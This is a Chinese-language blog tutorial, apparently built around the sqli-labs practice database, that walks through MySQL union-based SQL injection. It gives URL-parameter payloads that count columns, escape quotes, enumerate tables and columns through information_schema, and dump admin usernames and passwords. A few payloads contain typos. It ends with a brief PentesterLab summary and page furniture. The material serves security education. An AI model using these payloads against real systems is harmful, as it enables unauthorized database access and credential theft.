SQL注入流程

目录

首先了解以下MySQL常用函数:

一、联合查询

1.order by

2. 直接使用联合查询,依次在后面加列数

二、怎么逃逸单引号:

 1.可以再加一个单引号;

2.注释;(--空格、#、/**/);

(1)#号:

(2)--空格:

三、获取表名

四、得到表名查询列名

五、查询账号及密码


首先了解以下MySQL常用函数:

1.database()  查询当前数据库;

 2.user()  查看当前用户;

3.version()   查看当前数据库的版本;

 

 4.length()  查看长度;

5.substr()  截取数据库的某个字段(不能从0开始);

例:(1,2)从第一位开始截取两个字符

 

 6.substring()  与substr相同;

7.ascii()   将英文字符转为asc码;

例:拿上面截取到的字符

知道这些函数对我们SQL注入有很大的帮助。

SQL注入流程:

1.判断注入点

2.判断注入点类型

3.判断数据库类型

4.获取数据库数据,提权

前两步在上一篇博客已经提到了,那么接下来是如何判断数据库的类型:

判断数据库的类型,主要是通过各种数据库特有的函数,字符串处理,注释等来排除、猜测数据库的类型。

那么常见数据库有:Oracle、MySQL、SQL Server、Access、Postgresql、mongodb等

上三步都完成后咱们来看看第四步该如何完成:

例:通过sql注入获取管理员的账号及密码,数据库类型为mysql且假设无过滤。

一、联合查询

要知道数据库信息,我们可以通过联合查询找到我们想要的信息,但是联合查询需要前后两个表的列数相同,那我们怎么去判断表的列数呢:

1.order by

mysql可以通过order by +  列名 进行排序,那么可以通过order by知道被查询的表有多少列;

select * from users order by (1~n)
用1~n来代替第一列到第n列的列名,当列数不对时,会出现报错,那么此时就可以确定该表的列数为报错前的列数

如下图,当 列数不对时,会报出以下错误

id=1' order by 4--+   --+用于逃逸单引号

2. 直接使用联合查询,依次在后面加列数
select * from users union select 1,2,~,n;  
该方法是当列数正确是得出结果,不正确会提示列数不同

id=1' union sselect 1,2--+

通过上面的方法,我们已经知道列数了,但是上述方法都需要我们逃逸出单引号,如果没有逃逸出来,mysql会将单引号内当成一个整体,就不会执行后面的命令了。 

二、怎么逃逸单引号:

需要对原有单引号进行闭合----再加一个单引号:

但是这样的话,会多出一个单引号,出现语法报错

解决方法如下:

 1.可以再加一个单引号;

id=1''

2.注释;(--空格、#、/**/);
(1)#号:

id=1'#

此时通过#号注释还是出现了报错:因为url地址栏有特殊的编码方式(urlcode),它会将一些不符合它编码规则的全部进行编码

url编码规则:求asc码,转16进制,在前面加%;

例:单引号---%27

同理#号被编码为%23---此时成功  

(2)--空格:

同理空格也需要编码---   %20 (--+也可以;因为在RFC-1738标准中,空格在url编码以后为+号)

此时咱们已经知道表的列数了,那么我们可以进行联合查询 

id=1' union select 1,database(),3--+   通过刚刚的函数将2替换得出当前数据库

 但是并没有获取到数据,因为当id=1时,查询正常,但只取出了第一列数据;如果想让第二列被取出来只有第一列查不出来数据,才会将第二列取出来;要想第一列取不出数据---要么id特别大,要么id是-1;

 id=-1' union select 1,database(),3--+   获取到当前数据库

 

三、获取表名

MySQL中官方提供以下几个库:information_schema、mysql、performance_schema、sys;可以从这几个库里找

一般是在information_schema中寻找 

 通过限制获取对应数据库的表名

 在url栏中查询(查询成功,但没有取到想要的表名)

id=-1‘ union select  1,2,table_name from information_schema.tables where table_schema='security'--+

 可以通过limit(0,1、1,1、2,1、3,1......)

id=-1‘ union select  1,2,table_name from information_schema.tables where table_schema='security' limit 1,1--+

可以通过group_concat()将查询的表名转为一列---得到需要的表名,还能起到连接作用

id=-1‘ union select  1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

四、得到表名查询列名

id=-1' union select 1,2,group_concat(column_name) from information_schema.column where table_schemas='security' and table_name='users'--+

五、查询账号及密码

表名、列名都已经被我们知道了,那么就可以获取到管理员的账号及密码了

id=-1' union select 1,2,group_concat(username,0x7e,password) from users--+

 此时SQL注入完成。

  • 19
    点赞
  • 14
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
PentesterLab靶场的SQL注入流程可以按照以下步骤进行: 1. 首先,我们需要找到一个存在SQL注入漏洞的目标网站。可以使用工具或手动查找目标网站。 2. 一旦找到目标网站,我们可以使用不同的注入技术进行测试。在引用\[1\]和\[2\]中提供的案例中,可以尝试使用报错注入和联合查询注入。 3. 对于报错注入,我们可以尝试在URL参数中插入一些特殊字符和SQL语句,以触发错误并获取数据库信息。例如,在引用\[1\]中提供的案例中,我们可以尝试使用updatexml函数来获取数据库名称。 4. 对于联合查询注入,我们可以尝试在URL参数中插入一些特殊字符和SQL语句,以执行额外的查询并获取数据库信息。例如,在引用\[2\]中提供的案例中,我们可以尝试使用UNION SELECT语句来获取额外的数据列。 5. 如果我们成功地发现了SQL注入漏洞并获取了数据库信息,我们可以使用工具如sqlmap来自动化注入过程,以获取更多的数据库信息。 6. 最后,我们可以根据获取的数据库信息来进一步探索和利用漏洞,以达到我们的渗透测试目标。 请注意,进行SQL注入测试时,应遵循合法和道德的原则,并获得合法的授权。 #### 引用[.reference_title] - *1* *2* [PentesterLab靶场sql注入流程](https://blog.csdn.net/m0_37570494/article/details/122727777)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^control,239^v3^insert_chatgpt"}} ] [.reference_item] - *3* [一次简单的SQL注入靶场练习](https://blog.csdn.net/lza20001103/article/details/125958035)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^control,239^v3^insert_chatgpt"}} ] [.reference_item] [ .reference_list ]

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值